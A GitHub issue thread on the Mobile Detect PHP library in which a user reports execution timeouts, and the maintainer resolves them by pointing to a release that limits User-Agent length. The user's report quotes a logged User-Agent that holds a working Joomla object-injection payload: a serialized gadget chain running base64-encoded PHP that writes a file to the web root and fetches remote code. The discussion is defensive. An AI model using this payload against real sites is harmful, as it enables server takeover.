Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Execution Timeout #746

Closed
stempora opened this issue Jun 29, 2018 · 5 comments
Closed

Execution Timeout #746

stempora opened this issue Jun 29, 2018 · 5 comments

Comments

@stempora
Copy link

stempora commented Jun 29, 2018

Hi,

I received a few notifications about the site where i'm using this library. "Maximum execution time of 30 seconds exceeded"

Bellow you have the useragent that was used. From what i saw this is some kind of exploit for joomla but its not my case. Is there any way to prevent this crashes ? Something like a "headers validator"

Thanks

[userAgent] => }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:5070:"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvdG1wL3Z1bG4yLnBocCIgOw0KJGZwPWZvcGVuKCIkY2hlY2siLCJ3KyIpOw0KZndyaXRlKCRmcCxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBTkNtWjFibU4wYVc5dUlHaDBkSEJmWjJWMEtDUjFjbXdwZXcwS0NTUnBiU0E5SUdOMWNteGZhVzVwZENna2RYSnNLVHNOQ2dsamRYSnNYM05sZEc5d2RDZ2thVzBzSUVOVlVreFBVRlJmVWtWVVZWSk9WRkpCVGxOR1JWSXNJREVwT3cwS0NXTjFjbXhmYzJWMGIzQjBLQ1JwYlN3Z1ExVlNURTlRVkY5RFQwNU9SVU5VVkVsTlJVOVZWQ3dnTVRBcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOUdUMHhNVDFkTVQwTkJWRWxQVGl3Z01TazdEUW9KWTNWeWJGOXpaWFJ2Y0hRb0pHbHRM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Z0xpQWlMMmx0WVdkbGN5OTJkV3h1TG1oMGJTSWdPdzBLSkhSbGVIUTJJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQnpPaTh2Y0dGemRHVmlhVzR1WTI5dEwzSmhkeTg0T0RCMVptRlhSaWNwT3cwS0pHOXdOajFtYjNCbGJpZ2tZMmhsWTJzMkxDQW5keWNwT3cwS1puZHlhWFJsS0NSdmNEWXNKSFJsZUhRMktUc05DbVpqYkc5elpTZ2tiM0EyS1RzTkNqOCsnKSk7DQpmY2xvc2UoJGZwMik7DQo='));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ğııı
@serbanghita
Copy link
Owner

@elisent this looks like someone is trying to do some sort of DDOS[0]. We fixed this in 2.8.28 by limiting the size of the User-Agent header.

Can you tell me the exact version of Mobile Detect being use?

[0] hgoebl/mobile-detect.js#67

@stempora
Copy link
Author

stempora commented Jul 1, 2018

Hi,

The version i was using was 2.8.13. Will upgrade to the last one and see if it happens anymore. I usually get a notification every wee about this issue with timeout from a few sites.

Thanks a lot!

@serbanghita
Copy link
Owner

serbanghita commented Jul 2, 2018 via email

@serbanghita
Copy link
Owner

@elisent where you able to perform the upgrade?

@stempora
Copy link
Author

stempora commented Jul 9, 2018

Hi,

Yes i updated it a week ago and until now everything seems to be fine. Thanks a lot for checking into it !

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants